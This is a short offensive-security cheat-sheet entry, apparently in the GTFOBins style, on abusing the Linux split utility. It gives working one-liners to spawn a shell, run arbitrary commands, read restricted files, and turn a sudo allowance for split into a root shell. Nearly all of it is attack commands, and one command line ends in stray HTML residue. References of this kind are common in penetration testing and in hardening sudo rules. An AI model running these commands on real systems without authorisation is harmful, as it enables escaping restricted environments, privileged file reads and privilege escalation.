~/Privilege Escalation/Linux/Binaries# cat split.md

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The shell prompt is not printed.

split --filter=/bin/sh /dev/stdin

Command

It can be used to break out from restricted environments by running non-interactive system commands. 1 Command execution using an existing or newly created file.

COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF

2 Command execution using stdin (and close it directly).

COMMAND=id
echo | split --filter=$COMMAND /dev/stdin

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF.md <b>█<b><div>

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The shell prompt is not printed.

split --filter=/bin/sh /dev/stdin